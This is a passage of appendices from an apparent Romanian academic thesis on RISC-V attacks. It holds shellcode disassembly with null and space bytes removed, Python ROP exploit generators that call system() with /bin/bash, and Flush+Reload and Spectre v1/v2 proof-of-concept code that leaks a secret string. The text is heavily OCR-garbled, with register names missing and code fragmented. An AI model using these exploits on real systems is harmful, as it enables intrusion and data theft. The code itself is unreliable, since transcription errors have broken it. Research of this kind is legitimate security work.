9b87£722
2320f4fe
b7676173
9b87£722
2322f4fe
93078006
2324 f4fe
930704fe
0146
8145
3e85
9308d00d
73000000
8147
3e85
e260
4264
0561
8280

addi

sd ,
sd s
addi
lui
addiw
swW s
lui
addiw
sSW ,
1i s
sSwW ,
addi
1i s
1i ,
mv s
1i ,
ecall
1i ,
mv s
1d ,
1d ,
addi

ret

24(=p)
16 (=p)
s , 32
0x6e696
s , 559
-32(=0)
0x73616
s , 559
-28(=0)
104
-24(=0)
s , —32

221

24(=p)
16(=p)
H) ’ 32

[01]

-r—X

section

size

named

arg6
arg6

arg6
argb

70
.text

Cod A.1: Varianta initiala
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0x000100b0O

0x000100b2
0x000100b4
0x000100b6
0x000100b8
0x000100bc
0x000100cO
0x000100c4
0x000100c8
0x000100cc
0x0001004d0
0x000100d4
0x0001004d8
0x000100dc
0x000100de
0x000100e0
0x000100e2
0x000100e6
0x000100ea
0x000100ee
0x000100£f2

0111

O6ec

22e8

4010

b767696e
9b87£722
232af4fc
b7676173
9b87£722
232cf4fc
93078006
232ef4dfc
930744fd
0146

8145

3e85

9308d00d
93073007
2308f1f0
9307clee
67804702

addi

sd s
sd ,
addi
lui
addiw
swW s
lui
addiw
sSwW ,
1i s
sSW s
addi
1i s
1i ,
mv ,
1i s
1i s
sb ,
addi
jr 36(

> » —32

24(=p)
16(=p)

s , 36
0x6e696

, , 559
-44(:=0)
0x73616

s , 559
-40(=0)
104
-36(=0)

s , —44

221

115
-240(=p)
-276

)
’

)

[o1]

section size 82

named

-r—X

.text

; arg6
; argb

; argb
; argé
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Cod A.2: Varianta finald dup4 inlocuirea instructiunilor ce contin \x00 si \x20
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Anexa B

ROP

import struct

def p64(addr):

return struct.pack("<Q", addr)

buf_addr = 0x3ffffff8b8

libc_base = 0x3ff7ea3000
system_addr = libc_base + 0x3d80c
rop_gadget = libc_base + 0x576b6
bin_sh_addr = buf_addr + 168

exploit = ’A’%*120 + ’B’*8 + p64(rop_gadget)
exploit += ’C’#*8 + p64(bin_sh_addr) + ’D’*8
exploit += p64(system_addr) + "/bin/bash\x00"

with open("exploit", "w") as f:

f.write(exploit)

Cod B.1: Generarea fisierului exploit din care se realizeaza citirea pentru primul atac
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import struct

def p64(addr):

return struct.pack("<Q",

system_addr = 0x10530
rop_gadget = 0x106c4
buf_glob 0x12090

exploit

addr)

A’ %120 + ’B’*8 + p64(rop_gadget)

exploit += ’C’*136 + p64(buf_glob) + ’D’*8

exploit += p64(system_addr)

with open("exploit2", "w") as f:

f.write(exploit)

Cod B.2: Generarea fisierului ezploit2 din care se realizeaza citirea pentru al doilea atac
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Anexa C

Flush & Reload

#define L1_SETS 64 // numar seturi

#define L1_SET_BITS 6

#define L1_WAYS 4 // 4-way set associative cache
#define L1_BLOCK_SZ_BYTES 64 // dimensiune blocuri
#define L1_BLOCK_BITS 6

#define L1_SZ_BYTES (L1_SETS*L1_WAYS*L1_BLOCK_SZ_BYTES) // dimensiune cache

#define FULL_MASK OxFFFFFFFFFFFFFFFF

#define OFF_MASK (~(FULL_MASK << L1_BLOCK_BITS))

#define TAG_MASK (FULL_MASK << (L1_SET_BITS + L1_BLOCK_BITS))
#define SET_MASK (~(TAG_MASK | OFF_MASK))

/¥ mmm e m e -
* | Cache address |
K
* | tag | idx | offset |

* | 63 <-> 12 | 11 <-> 6 | 5 <-> 0 |

//folosit pentru evacuarea memoriei cache
uint8_t dummyMem[5 * L1_SZ_BYTES];

// numarul de seturi ce trebuie curatat

uint64_t numSetsClear = sz >> L1_BLOCK_BITS;

if ((sz & OFF_MASK) != 0){

// setul in care se afla ultimul offset

numSetsClear += 1;

}

if (numSetsClear > L1_SETS){
// curata intreaga memorie cache
numSetsClear = L1_SETS;

uint8_t dummy = O0;

o4
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37
38
39
40
41
42
43
44
45
46
47
48
49
20
o1
52
53
54

//adresa de memorie mapata la baza cache-ului (idx = 0, offset = 0)
uint64_t alignedMem = (((uint64_t)&dummyMem) + L1_SZ_BYTES) & TAG_MASK;

for (uint64_t i = 0; i < numSetsClear; ++i){
// offset-ul pentru traversarea tuturor seturilor
uint64_t setOffset = (((addr & SET_MASK) >> L1_BLOCK_BITS) + i)
<< L1_BLOCK_BITS;

// evacuarea intregului set
for(uint64_t j = 0; j < 4xL1_WAYS; ++j){
// offset pentru reaccesarea setului
uint64_t wayOffset = j << (L1_BLOCK_BITS + L1_SET_BITS);

// evacuarea blocului de memorie precedent
dummy = *((uint8_t*)(alignedMem + setOffset + wayOffset));

Cod C.1: Evacuarea seturilor corespunzitoare pentru o zond de memorie existenta in cache
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//flush_reload.c
#include <stdio.h>
#include <stdint.h>
#include "encoding.h"

#include "cache.h"

#define ATTACK_SAME_ROUNDS 10
#define CACHE_HIT_THRESHOLD 50

uint8_t array2[256 * L1_BLOCK_SZ_BYTES];

int main(void){

static uint64_t results[256];
uint64_t start, diff;

for(uint64_t cIdx = 0; cIdx < 256; ++cIdx)
results[cIdx] = 0;

printf ("The victim accesses index 100\n");

for(uint64_t atkRound = 0; atkRound < ATTACK_SAME_ROUNDS; ++atkRound)

flushCache ((uint64_t)array2, sizeof (array2));

uint8_t dummy = array2[100 * L1_BLOCK_SZ_BYTES];

for (uint64_t i = 0; i < 256; ++i){
start = rdcycle();
dummy &= array2[i * L1_BLOCK_SZ_BYTES];
diff = (rdcycle() - start);
if (diff < CACHE_HIT_THRESHOLD)

results[i] += 1;

uint64_t max = results[0], index = 0;
for (uint64_t i = 1; i < 256; i++)
if (max < results[i]) {
max = results[i];
index = 1i;
}
printf ("The attacker guessed index %1d %1d times.\n", index,

return O;

max) ;

{

Cod C.2: Flush & Reload

o6




© 00 J O Ut = W N =

W W W W W W NN DN DNDNDDNDNDNDNIDINFH B B =2 2 B = = e
U W NN O © 00 1 O O B WK~ O O© 0 1 O Ok W N =~ O

Anexa D

Spectre vl

//conditionalBranch.c
#include <stdio.h>
#include <stdint.h>
#include "encoding.h"

#include "cache.h"

#define TRAIN_TIMES 40

#define ATTACK_SAME_ROUNDS 10
#define SECRET_SZ 5

#define CACHE_HIT_THRESHOLD 50

uint64_t arrayl_sz = 10;
uint8_t arrayi[10] = {1,2,3,4,5,6,7,8,9,10};
uint8_t array2[256 * L1_BLOCK_SZ_BYTES];

char* secretString = "BOOM!";

void victimFunc (uint64_t idx){

uint8_t dummy = 2;

// delays arrayl_sz value through fdiv

arrayl_sz
asm("fcvt.s.lu fad4, %[in]l\n"
"fcvt.s.lu fa5, %[inout]\n"
"fdiv.s fab, fab, fa4\n"
"fdiv.s fab, fab5, fa4\n"
"fdiv.s fa5, fab, fa4\n"
"fdiv.s fab5, fab, fa4\n"
"fcvt.lu.s %Lout], fab, rtz\n"

arrayl_sz << 4;

[out] "=r" (arrayl_sz)
[inout] "r" (arrayl_sz), [in] "r" (dummy)
llfa4ll’ llfasll);

if (idx < arrayl_sz){

dummy = array2[arrayl[idx] * L1_BLOCK_SZ_BYTES];
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42
43
44
45
46
47
48
49
20
51
52
53
54
95
96
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
(0]
76
(s
8
79
80
81
82
83

int main(void){

static uint64_t results[256];

uint64_t start, diff;

uint64_t attackIdx = (uint64_t)(secretString - (charx)arrayl),
uint64_t passInldx;

uint8_t dummy = O0;

char guessedSecret [SECRET_SZ];

for(uint64_t i = 0; i < SECRET_SZ; i++) {

for(uint64_t cIdx = 0; cIdx < 256; ++cIdx)
results[cIdx] = 0;

for(uint64_t atkRound 0; atkRound < ATTACK_SAME_ROUNDS;

++atkRound) {

flushCache ((uint64_t)array2, sizeof (array2));

for (int64_t j = TRAIN_TIMES; j >= 0; j--){

randIdx;

randIdx = atkRound % arrayl_sz;

passInIdx = ((j % (TRAIN_TIMES+1)) - 1) & ~OxFFFF;
passInIdx = (passInIdx | (passInIldx >> 16));

passInIdx = randIdx ~ (passInIdx & (attackIdx ~ randIdx));

// set of constant takens to make the BHR be in
//a all taken state
for(uint64_t k = 0; k < 100; ++k){

asm("");

victimFunc (passInIdx);

for (uint64_t i = 0; i < 256; ++i){
start = rdcycle();
dummy &= array2[i * L1_BLOCK_SZ_BYTES];
diff = (rdcycle() - start);
if (diff < CACHE_HIT_THRESHOLD)

results[i] += 1;

o8
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85 uint64_t max = results[0], index = O0;
86 for (uint64_t i = 1; i < 256; i++)

87 if (max < results[i]) {

88 max = results[i];

89 index = 1i;

90 }

91 printf ("The attacker guessed character %c %1ld times.\n",
92 index, max);

93

94 guessedSecret [i] = index;

95

96 attackIdx++;

97 }

98

99 guessedSecret [SECRET_SZ] = 0;

100

101 printf ("The guessed secret is %s\n", guessedSecret);
102

103 return O;

104| ¥

Cod D.1: Atacul Spectre aplicat in cazul salturilor ramificate

99



~N O Ot = W N

Anexa E

Spectre v2

© 00 N O Ot = W N

N RN N DN = = = e e e e e s
W N = O © 00 J O U i W NN+~ O

Cod E.1: Continutul fisierului cu bucatile de cod la care se poate face saltul indirect

#gadgets.s
.section .text
.global gadget
.global want

.extern end

gadget:

la , arrayl

1w , passInldx
add s .
lbu ,0(25)
sext.w .

slliw , ,0x6
sext.w .

la , array2

add s .
lbu ,0(25)

want:

nop

j end

#functions.s
.section .text
.global gadget
.global want

gadget:
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10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

addi ,5p,—16
sd ,8(=p)
sd ,0(=p)

addi , ,16
la , arrayl

1w , passInIdx
add . s
1bu ,0025)
sext.w ,

slliw , ,0x6
sext.w ,

la , array2

add , ,
1bu ,0025)
1d ,8(1)
1d ,0(=1)

addi , ,16
jr

want:

addi ,5p,—16
sd ,8(=p)
sd ,0(=p)

addi , ,16
nop

1d ,8(=p)
1d ,0(=p)

addi s ,16
jr

Cod E.2: Continutul fisierului cu functiile la care se poate face saltul indirect
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